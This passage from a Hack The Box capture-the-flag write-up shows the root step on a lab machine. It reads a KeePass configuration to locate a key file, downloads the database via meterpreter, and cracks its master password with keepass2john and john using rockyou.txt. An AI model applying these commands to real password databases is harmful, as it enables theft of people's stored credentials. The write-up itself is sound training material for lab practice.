KeePass Password Safe is a free and open-source password manager primarily for Windows. It officially supports macOS and Linux operating systems through the use of Mono. Additionally, there are several unofficial ports for Windows Phone, Android, iOS, and BlackBerry devices. -Wikipedia
I renamed the file to test.kdbx
:
Then I used keepass2
to open it :
And of course we need a password and a key. I went back to the shell and checked the configuration file for keepass
in :
C:\Users\Administrator\AppData\Roaming\KeePass
KeePass.config.xml
:
<?xml version="1.0" encoding="utf-8"?>
<Configuration xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<Meta>
<PreferUserConfiguration>false</PreferUserConfiguration>
<OmitItemsWithDefaultValues>true</OmitItemsWithDefaultValues>
<DpiFactorX>1</DpiFactorX>
<DpiFactorY>1</DpiFactorY>
</Meta>
<Application>
<LastUsedFile>
<Path>..\..\Users\Administrator\Desktop\root.txt:Zone.Identifier</Path>
<CredProtMode>Obf</CredProtMode>
<CredSaveMode>NoSave</CredSaveMode>
</LastUsedFile>
<MostRecentlyUsed>
<MaxItemCount>12</MaxItemCount>
<Items>
<ConnectionInfo>
<Path>..\..\Users\Administrator\Desktop\chest.kdbx</Path>
<CredProtMode>Obf</CredProtMode>
<CredSaveMode>NoSave</CredSaveMode>
</ConnectionInfo>
</Items>
</MostRecentlyUsed>
<WorkingDirectories>
<Item>Database@..\..\Users\Administrator\Desktop</Item>
<Item>KeyFile@..\..\Users\Administrator\Desktop</Item>
</WorkingDirectories>
<Start>
<CheckForUpdate>false</CheckForUpdate>
<CheckForUpdateConfigured>true</CheckForUpdateConfigured>
</Start>
<FileOpening />
<FileClosing />
<TriggerSystem>
<Triggers />
</TriggerSystem>
<PluginCompatibility />
</Application>
<Logging />
<MainWindow>
<X>2</X>
<Y>2</Y>
<Width>638</Width>
<Height>450</Height>
<SplitterHorizontalFrac>0.8333</SplitterHorizontalFrac>
<SplitterVerticalFrac>0.25</SplitterVerticalFrac>
<Layout>Default</Layout>
<ToolBar />
<EntryView />
<TanView />
<EntryListColumnCollection>
<Column>
<Type>Title</Type>
<Width>90</Width>
</Column>
<Column>
<Type>UserName</Type>
<Width>90</Width>
</Column>
<Column>
<Type>Password</Type>
<Width>90</Width>
<HideWithAsterisks>true</HideWithAsterisks>
</Column>
<Column>
<Type>Url</Type>
<Width>90</Width>
</Column>
<Column>
<Type>Notes</Type>
<Width>90</Width>
</Column>
</EntryListColumnCollection>
<EntryListColumnDisplayOrder>0 1 2 3 4</EntryListColumnDisplayOrder>
<ListSorting>
<Order>Ascending</Order>
</ListSorting>
</MainWindow>
<UI>
<TrayIcon />
<Hiding />
<StandardFont>
<Family>Microsoft Sans Serif</Family>
<Size>8.25</Size>
<GraphicsUnit>Point</GraphicsUnit>
<Style>Regular</Style>
<OverrideUIDefault>false</OverrideUIDefault>
</StandardFont>
<PasswordFont>
<Family>Courier New</Family>
<Size>8.25</Size>
<GraphicsUnit>Point</GraphicsUnit>
<Style>Regular</Style>
<OverrideUIDefault>false</OverrideUIDefault>
</PasswordFont>
<BannerStyle>WinVistaBlack</BannerStyle>
<DataEditorFont>
<Family>Microsoft Sans Serif</Family>
<Size>8.25</Size>
<GraphicsUnit>Point</GraphicsUnit>
<Style>Regular</Style>
<OverrideUIDefault>false</OverrideUIDefault>
</DataEditorFont>
<UIFlags>0</UIFlags>
<KeyCreationFlags>0</KeyCreationFlags>
<KeyPromptFlags>0</KeyPromptFlags>
</UI>
<Security>
<WorkspaceLocking>
<LockAfterTime>0</LockAfterTime>
<LockAfterGlobalTime>0</LockAfterGlobalTime>
</WorkspaceLocking>
<Policy />
<MasterPassword>
<MinimumLength>0</MinimumLength>
<MinimumQuality>0</MinimumQuality>
</MasterPassword>
</Security>
<Native />
<PasswordGenerator>
<AutoGeneratedPasswordsProfile>
<GeneratorType>CharSet</GeneratorType>
<Length>20</Length>
<CharSetRanges>ULD_______</CharSetRanges>
</AutoGeneratedPasswordsProfile>
<LastUsedProfile>
<GeneratorType>CharSet</GeneratorType>
<Length>20</Length>
<CharSetRanges>ULD_______</CharSetRanges>
</LastUsedProfile>
<UserProfiles />
</PasswordGenerator>
<Defaults>
<OptionsTabIndex>0</OptionsTabIndex>
<SearchParameters>
<ComparisonMode>InvariantCultureIgnoreCase</ComparisonMode>
</SearchParameters>
<KeySources>
<Association>
<DatabasePath>..\..\Users\Administrator\Desktop\root.txt:Zone.Identifier</DatabasePath>
<Password>true</Password>
<KeyFilePath>..\..\Users\Administrator\Pictures\admin.png</KeyFilePath>
</Association>
</KeySources>
</Defaults>
<Integration>
<HotKeyGlobalAutoType>393281</HotKeyGlobalAutoType:>
<HotKeySelectedAutoType>0</HotKeySelectedAutoType>
<HotKeyShowWindow>393291</HotKeyShowWindow>
<HotKeyEntryMenu>0</HotKeyEntryMenu>
<UrlSchemeOverrides>
<BuiltInOverridesEnabled>1</BuiltInOverridesEnabled>
<CustomOverrides />
</UrlSchemeOverrides>
<AutoTypeAbortOnWindows />
<ProxyType>System</ProxyType>
<ProxyAuthType>Auto</ProxyAuthType>
</Integration>
<Custom />
</Configuration>
Exactly here :
The key is admin.png
in C:\Users\Administrator\Pictures\
. Let’s download it :
admin.png :
I wanted to test the key (we still need the password) :
I expected The composite key is invalid
but instead of that I got The file version is unsupported
. I tried many other version of keepass
and got the same error. So I was sure that the file itself was corrupted (maybe because of more
). I downloaded it again with meterpreter
itself this time :
Then I renamed it to db.kdbx
:
Let’s try again :
Perfect ! Now we need the password. I used keepass2john
to put the kdbx
file in a john
crackable format (we need the key to do that (admin.png
))
keepass2john -k admin.png > db.john
Then I used john
with rockyou.txt
to crack it :
john --wordlist=/usr/share/wordlists/rockyou.txt db.john
The password is darkness
. Let’s try to open the database :
Great ! double-click on root.txt
and it will copy the flag into our clipboard :
Let’s paste it :
And finally we can say … We owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.
Previous Hack The Box write-up : Hack The Box - Irked
Next Hack The Box write-up : Hack The Box - Lightweight